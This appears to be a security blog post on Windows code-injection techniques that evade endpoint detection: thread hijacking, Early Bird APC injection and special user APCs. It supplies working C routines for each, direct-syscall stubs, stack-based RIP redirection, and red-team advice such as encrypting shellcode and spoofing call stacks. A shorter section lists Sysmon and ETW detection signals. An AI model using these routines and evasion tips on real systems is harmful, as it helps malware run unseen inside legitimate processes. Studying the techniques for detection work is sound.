Back to Blog
Adversarial Machine Learning

Advanced Memory Evasion: Thread Hijacking and Asynchronous Procedure Calls (APCs)

OffSec Research Team
10 June 2026 • 09:00 AM14 min
Advanced Memory Evasion: Thread Hijacking and Asynchronous Procedure Calls (APCs)
TL;DR — Thread hijacking redirects an existing thread's instruction pointer to attacker-controlled shellcode without spawning a new thread, eliminating a primary EDR telemetry source. APC injection leverages Windows' built-in asynchronous procedure call mechanism to queue shellcode execution into alertable threads, with Early Bird injection offering a particularly clean execution window before most EDR hooks are loaded. This post dissects both primitives at the syscall level, explores the special APC variant available since Windows 10 1803 that bypasses alertable-wait requirements, and benchmarks each technique's OPSEC profile.

Executive Summary

Every injection technique that spawns a new thread—CreateRemoteThread, NtCreateThreadEx, RtlCreateUserThread—leaves a detectable artifact: a thread creation event. EDR products instrument these APIs both at the userland level and via ETW kernel callbacks such as PsSetCreateThreadNotifyRoutine. Defenders who baseline thread counts and watch for threads whose start address points into non-image-backed memory will catch the majority of classic shellcode injection within seconds of execution.

Thread hijacking sidesteps this entirely. The attacker suspends a thread that already exists, rewrites its CONTEXT record to redirect RIP (or EIP on x86) into shellcode, and resumes it. From the kernel's perspective, no new thread was born—the scheduler simply continued dispatching an existing thread. The telemetry signature shrinks from "new thread with suspicious start address" to "thread context modification," which is noisier and harder to act on without large false-positive rates.

Asynchronous Procedure Calls (APCs) represent a different primitive: the Windows kernel allows queuing a function pointer into a thread's APC queue, to be drained when that thread enters an alertable wait (via SleepEx, WaitForSingleObjectEx, NtWaitForSingleObject with Alertable = TRUE, and similar). Early Bird injection exploits the fact that a newly created, suspended process thread has not yet loaded EDR hooks but is on the cusp of executing—queueing an APC at this precise moment gives the attacker code execution before any monitoring agent can interfere. The special user APC variant (NtQueueApcThreadEx with ApcType = 1) eliminates the alertable-wait requirement entirely, broadening the target thread pool to virtually any user-mode thread.

Windows Thread Context: Architecture

Before manipulating thread context, an operator must understand the data structure being modified. The CONTEXT structure on x86-64 captures the complete CPU state of a thread at the moment it was suspended:

c
// Simplified CONTEXT for x86-64 (winnt.h)typedef struct _CONTEXT {    DWORD64  P1Home, P2Home, P3Home, P4Home;  // parameter home space    DWORD    ContextFlags;                      // which registers to read/set    DWORD    MxCsr;    WORD     SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;    DWORD    EFlags;    DWORD64  Dr0, Dr1, Dr2, Dr3, Dr6, Dr7;    // debug registers    DWORD64  Rax, Rcx, Rdx, Rbx, Rsp, Rbp, Rsi, Rdi;    DWORD64  R8, R9, R10, R11, R12, R13, R14, R15;    DWORD64  Rip;                               // <-- instruction pointer    // ... XMM/YMM state follows} CONTEXT;

The Rip field is the target. Writing a new value there before calling SetThreadContext causes the CPU to fetch its next instruction from that address on resume. The ContextFlags bitmask must include CONTEXT_CONTROL (0x100001) to indicate that Rip, Rsp, SegCs, EFlags, Rbp, and SegSs should be applied.

Thread Hijacking via GetThreadContext / SetThreadContext

The classical sequence is five API calls:

c
#include <windows.h>#include <stdio.h> // Shellcode: trivial NOP sled + int3 for demonstrationunsigned char shellcode[] = {    0x90, 0x90, 0x90, 0xCC  // NOP NOP NOP INT3}; BOOL HijackThread(DWORD dwTid, LPVOID lpShellcode) {    HANDLE hThread = OpenThread(        THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,        FALSE,        dwTid    );    if (!hThread) {        fprintf(stderr, "OpenThread failed: %lu\n", GetLastError());        return FALSE;    }     // 1. Suspend the target thread    if (SuspendThread(hThread) == (DWORD)-1) {        CloseHandle(hThread);        return FALSE;    }     // 2. Capture current register state    CONTEXT ctx = { 0 };    ctx.ContextFlags = CONTEXT_FULL;    if (!GetThreadContext(hThread, &ctx)) {        ResumeThread(hThread);        CloseHandle(hThread);        return FALSE;    }     // 3. Save original RIP for later restoration (optional but stealthy)    DWORD64 originalRip = ctx.Rip;    printf("[*] Original RIP: 0x%llx\n", originalRip);     // 4. Overwrite RIP to point at shellcode buffer    ctx.Rip = (DWORD64)lpShellcode;     // 5. Apply modified context and resume    if (!SetThreadContext(hThread, &ctx)) {        ctx.Rip = originalRip;        SetThreadContext(hThread, &ctx);        ResumeThread(hThread);        CloseHandle(hThread);        return FALSE;    }     ResumeThread(hThread);    CloseHandle(hThread);    printf("[+] Thread %lu hijacked → RIP = 0x%llx\n",           dwTid, (DWORD64)lpShellcode);    return TRUE;}

The Context Restoration Problem

A naive hijack leaves the thread in an inconsistent state after shellcode finishes—the original stack frame is gone, local variables are corrupted, and the return address the thread was about to use is now unreachable. If the hijacked thread belongs to a critical Windows subsystem (UI thread, RPC worker, etc.), the process crashes within seconds.

The standard mitigation is a trampoline: the shellcode's final instruction jumps back to originalRip or, better, to a stub that pops the saved context off a shadow stack and issues NtContinue:

nasm
; Trampoline stub — appended to shellcode; RBX holds original RIP saved before shellack executespush rbxcall shellcode_main   ; run payloadpop  rbxjmp  rbx              ; restore original control flow

A cleaner approach allocates a full CONTEXT structure on the heap before hijacking, copies the original context into it, and at the end of the shellcode calls NtContinue(savedCtx, FALSE). This fully restores all GPRs, flags, and segment registers, making the hijack transparent to the owning application.

The Stack-Based RIP Push Trick

An alternative to overwriting Rip directly avoids the SetThreadContext call on Rip (which some EDRs specifically monitor). Instead, the shellcode address is pushed onto the stack by decrementing Rsp by 8, writing the shellcode address at the new top of stack, and setting Rip to ret instruction in any already-mapped DLL:

c
// Stack-push hijack variantctx.Rsp -= 8;                                       // extend stack downward*(DWORD64 *)ctx.Rsp = (DWORD64)lpShellcode;        // push shellcode addrctx.Rip = (DWORD64)GetProcAddress(                  // point RIP at a 'ret'    GetModuleHandleA("ntdll.dll"), "RtlGetCurrentPeb");// A 'ret' at the top of RtlGetCurrentPeb pops our shellcode addr into RIP

The thread "returns" from what looks like a normal ntdll function, with the shellcode address appearing to be a legitimate call site on the stack. This is stack-spoofing and thread hijacking combined.

Syscall Path: NtSuspendThread

When EDR products hook SuspendThread in kernel32.dll, the syscall path remains intact. Direct syscalls bypass the hook entirely:

c
// Direct syscall stub for NtSuspendThread (SSN varies by OS build)// Use dynamic SSN resolution via Hell's Gate / Halo's Gate in production__asm__ volatile (    "mov r10, rcx\n"    "mov eax, 0x1BB\n"   // NtSuspendThread SSN (Windows 10 22H2 example)    "syscall\n"    "ret\n");

Similarly, NtGetContextThread (SSN 0x00F5) and NtSetContextThread (SSN 0x018D) can be called directly, bypassing any userland monitoring on the Win32 wrappers.

APC Injection: Mechanism Overview

The Windows APC system allows user-mode threads to register callback functions that execute asynchronously. Each thread maintains two APC queues: a kernel APC queue (drained at IRQL PASSIVE_LEVEL on every kernel exit) and a user APC queue (drained only when the thread is in an alertable wait state).

diagram — rendering…
sequenceDiagram
    participant Attacker as Attacker Thread
    participant Kernel   as NT Kernel
    participant Target   as Target Thread
    Attacker->>Kernel: QueueUserAPC(fnShellcode, hThread, param)
    Kernel->>Kernel: Append APC entry to Target's UserApcPending queue
    Target->>Kernel: SleepEx(INFINITE, TRUE)  [alertable wait]
    Kernel->>Target: Drain APC queue → call fnShellcode(param)
    Target->>Target: Shellcode executes in Target's thread context
    Target->>Kernel: Return from alertable wait (WAIT_IO_COMPLETION)

The critical requirement for standard APCs: the target thread must call an alertable wait function. Most application threads spend their time in non-alertable waits or tight compute loops, meaning the APC sits in the queue indefinitely. This is where Early Bird and Special APCs become valuable.

Early Bird APC Injection

Early Bird exploits the fact that when a process is created with CREATE_SUSPENDED, its main thread exists but has not yet called any user-mode initialization code—specifically, it has not run LdrInitializeThunk, ntdll!LdrpInitialize, or any EDR DLL's DllMain. At this precise moment, the thread's very first act on resume will be to drain its user APC queue before entering LdrInitializeThunk.

c
#include <windows.h> BOOL EarlyBirdInject(LPCWSTR lpTargetApp, LPVOID lpShellcode, SIZE_T cbShellcode) {    STARTUPINFOW si = { sizeof(si) };    PROCESS_INFORMATION pi = { 0 };     // 1. Create target process suspended    if (!CreateProcessW(            lpTargetApp, NULL, NULL, NULL, FALSE,            CREATE_SUSPENDED | CREATE_NO_WINDOW,            NULL, NULL, &si, &pi)) {        return FALSE;    }     // 2. Allocate RWX memory in the target process    LPVOID lpRemote = VirtualAllocEx(        pi.hProcess, NULL, cbShellcode,        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE    );    if (!lpRemote) goto cleanup;     // 3. Write shellcode    SIZE_T written;    WriteProcessMemory(pi.hProcess, lpRemote, lpShellcode, cbShellcode, &written);     // 4. Queue APC to the suspended main thread    //    The APC fires before any module initialisation    QueueUserAPC((PAPCFUNC)lpRemote, pi.hThread, 0);     // 5. Resume the thread — APC drains immediately    ResumeThread(pi.hThread);     printf("[+] Early Bird APC queued. Process %lu executing shellcode.\n", pi.dwProcessId);    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return TRUE; cleanup:    TerminateProcess(pi.hProcess, 1);    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return FALSE;}

The timing is critical: ResumeThread causes the kernel to schedule the thread, which immediately checks its user APC queue before executing a single user-mode instruction. The shellcode runs in the address space of a freshly spawned, legitimate-looking process before EDR DLL injection hooks have been established.

A native API variant using ZwCreateProcess + ZwCreateThread + ZwQueueApcThread avoids the CreateProcess / CreateRemoteThread Win32 telemetry entirely, operating purely at the NT layer:

c
// Pseudocode — production code requires resolving NT function pointers from ntdllZwCreateUserProcess(/* ... */ CREATE_SUSPENDED, /* ... */, &hProc, &hThread);ZwAllocateVirtualMemory(hProc, &lpBase, 0, &cbShellcode,                        MEM_COMMIT, PAGE_EXECUTE_READWRITE);ZwWriteVirtualMemory(hProc, lpBase, pShellcode, cbShellcode, NULL);ZwQueueApcThread(hThread, (PKNORMAL_ROUTINE)lpBase, lpBase, NULL, NULL);ZwResumeThread(hThread, NULL);

Special User APCs: NtQueueApcThreadEx

Windows 10 version 1803 introduced a new APC type via an extended variant of NtQueueApcThread: NtQueueApcThreadEx. When the ApcType argument is set to 1 (special user APC), the kernel marks the APC as requiring immediate delivery without an alertable wait. The APC will fire at the next safe point—typically the next time the thread transitions back from kernel mode—regardless of whether it called SleepEx or any alertable function.

c
typedef NTSTATUS (NTAPI *pNtQueueApcThreadEx)(    HANDLE          ThreadHandle,    HANDLE          UserApcReserveHandle,  // NULL for special APCs    PPS_APC_ROUTINE ApcRoutine,    PVOID           SystemArgument1,    PVOID           SystemArgument2,    PVOID           SystemArgument3); // ApcType embedded in UserApcReserveHandle (or separate param depending on build):// Pass (HANDLE)1 as UserApcReserveHandle to indicate special APCNTSTATUS QueueSpecialApc(HANDLE hThread, LPVOID lpShellcode) {    pNtQueueApcThreadEx NtQueueApcThreadEx =        (pNtQueueApcThreadEx)GetProcAddress(            GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx"        );    if (!NtQueueApcThreadEx) return STATUS_NOT_IMPLEMENTED;     return NtQueueApcThreadEx(        hThread,        (HANDLE)1,            // ApcType = SpecialUserApc (Windows 10 1803+)        (PPS_APC_ROUTINE)lpShellcode,        NULL, NULL, NULL    );}

This makes special APCs far more powerful than standard APCs for injection purposes: any thread in any process (with sufficient handle rights) becomes a valid target, not just threads known to call alertable waits.

Standard APC vs Special APC Comparison

PropertyStandard User APCSpecial User APC
Windows versionAll (NT 3.1+)10 1803+ / Server 2019+
Alertable wait requiredYesNo
Target thread poolThreads using SleepEx, WaitForSingleObjectEx, etc.Any user-mode thread
APIQueueUserAPC / NtQueueApcThreadNtQueueApcThreadEx with ApcType=1
Kernel delivery pathDrained at kernel exit when ApcState.UserApcPending = TRUEForced kernel-to-user transition via KiInitiateUserApc
EDR coverage (2024)Medium — monitoredLow — newer, less instrumented
Thread crash riskLow if shellcode is cleanLow

Execution Flow Comparison

diagram — rendering…
flowchart TD
    A[Attacker Process] -->|OpenThread SUSPEND+CONTEXT| B[Thread Hijack Path]
    A -->|CreateProcess SUSPENDED| C[Early Bird APC Path]
    A -->|OpenThread APC_RIGHTS| D[Special APC Path]

    B --> B1[SuspendThread]
    B1 --> B2[GetThreadContext — save RIP]
    B2 --> B3[WriteProcessMemory — shellcode]
    B3 --> B4[SetThreadContext — new RIP]
    B4 --> B5[ResumeThread]
    B5 --> B6[Shellcode runs in existing thread]

    C --> C1[VirtualAllocEx + WriteProcessMemory]
    C1 --> C2[QueueUserAPC → suspended main thread]
    C2 --> C3[ResumeThread]
    C3 --> C4[APC drains before LdrInitializeThunk]
    C4 --> C5[Shellcode runs before EDR hooks]

    D --> D1[VirtualAllocEx + WriteProcessMemory]
    D1 --> D2[NtQueueApcThreadEx ApcType=1]
    D2 --> D3[Next kernel exit → KiInitiateUserApc]
    D3 --> D4[Shellcode runs in target thread context]

OPSEC Comparison Table

TechniqueThread Creation TelemetryContext ModificationProcess Injection EventEDR Hook BypassStability Risk
CreateRemoteThreadYes (high signal)NoYesModerateLow
NtCreateThreadEx direct syscallPartial (ETW kernel)NoYesHighLow
Thread Hijack (GetCtx/SetCtx)NoneYes (medium signal)Yes (WriteProcessMemory)HighMedium
Early Bird APCNoneNoYes (new process)Very HighLow
Special APC (NtQueueApcThreadEx)NoneNoYes (WriteProcessMemory)HighLow
In-process APC (self-injection)NoneNoNoneVery HighLow

The key insight from this table: thread hijacking and APC injection both achieve zero thread-creation telemetry, but their residual footprints differ. Thread hijacking leaves THREAD_SET_CONTEXT access in handle table auditing. APC injection leaves QueueUserAPC or NtQueueApcThreadEx calls, plus the initial VirtualAllocEx / WriteProcessMemory if writing to a remote process.

Detection Opportunities

Sysmon EventID 8 — CreateRemoteThread

While thread hijacking avoids this event, any injection chain that still calls CreateRemoteThread at any point will fire EventID 8. The start address field is particularly useful: a start address pointing into non-image-backed memory (checked against the module list) is a high-fidelity indicator.

Sysmon EventID 10 — ProcessAccess

OpenThread with THREAD_SET_CONTEXT or THREAD_SUSPEND_RESUME rights against a thread in another process generates a ProcessAccess event. Filter for:

  • SourceImage != TargetImage (cross-process)
  • GrantedAccess bitmask includes 0x0002 (THREADSUSPENDRESUME) or 0x0010 (THREADSETCONTEXT)

ETW: Microsoft-Windows-Kernel-Process / ThreadNotify

PsSetCreateThreadNotifyRoutine callbacks fire on thread creation. Thread hijacking bypasses this entirely. Monitor instead for NtSetContextThread calls via ETW provider Microsoft-Windows-Kernel-Audit-API-Calls.

ETW: UserApcInserted Keyword

The Microsoft-Windows-Kernel-Process ETW provider emits an event with keyword 0x10 (UserApcInserted) when a user APC is queued. Correlating the source and target process of this event—especially when they differ—identifies cross-process APC injection. Monitoring this keyword is not universally implemented in commercial EDR as of 2024.

NTDLL Hook Monitoring

EDR products that hook NtQueueApcThread and NtQueueApcThreadEx at the syscall stub level can intercept special APCs. Direct syscall implementations that resolve SSNs dynamically (Hell's Gate, Halo's Gate, Tartarus Gate) bypass these hooks, but the syscall instruction itself remains visible to hypervisor-based monitoring (HVCI, VBS).

Behavioral Detection: Alertable Wait Survey

A thread with a queued APC that suddenly breaks out of a non-alertable wait (e.g., a thread waiting on a named pipe that never receives data suddenly wakes executing foreign code) is detectable via ETW thread scheduling events, though correlation requires stateful analysis.

Practical OPSEC Recommendations

For red team operators:

  • Prefer Early Bird over thread hijacking when spawning a sacrificial process is acceptable — it leaves the smallest footprint and runs before EDR hooks are established.
  • Use direct syscalls (NtSuspendThread, NtGetContextThread, NtSetContextThread) when thread hijacking is necessary, bypassing Win32 API hooks.
  • Implement context restoration via NtContinue to prevent target thread crashes that generate crash telemetry.
  • Combine stack-based RIP redirection with call stack spoofing to make the hijacked thread's stack look like a legitimate call chain.
  • Avoid RWX allocations — allocate RX memory and use a separate RW allocation for staging, flipping permissions only during write operations.
  • Encrypt shellcode in the remote process until just before execution, using a stager that decrypts and executes in-place, reducing the dwell time of recognizable shellcode bytes in memory.

Conclusion

Thread hijacking and APC injection represent a meaningful step forward in injection tradecraft precisely because they attack the telemetry model rather than merely the detection signatures. By eliminating thread creation events—the highest-signal indicator in most EDR rule sets—they reduce the injection footprint to lower-signal events (context modification, APC queueing) that are harder to act on without generating substantial false positives in large enterprise environments.

Early Bird APC injection remains one of the most OPSEC-friendly techniques available: the shellcode executes in a newly spawned, legitimate-looking process, before any EDR agent has established user-mode hooks, with no thread creation or context modification events. Special APCs via NtQueueApcThreadEx extend this capability to long-running processes whose threads were previously unreachable by standard APC injection due to the alertable-wait requirement.

Blue teams should prioritize ETW-based detection of UserApcInserted cross-process events and NtSetContextThread calls as their primary tripwires for these techniques, recognizing that Win32 API hook coverage is insufficient against operators using direct syscalls. HVCI and VBS-based hypervisor monitoring remain the strongest architectural controls, as they can observe syscall invocations regardless of how the user-mode call path is constructed.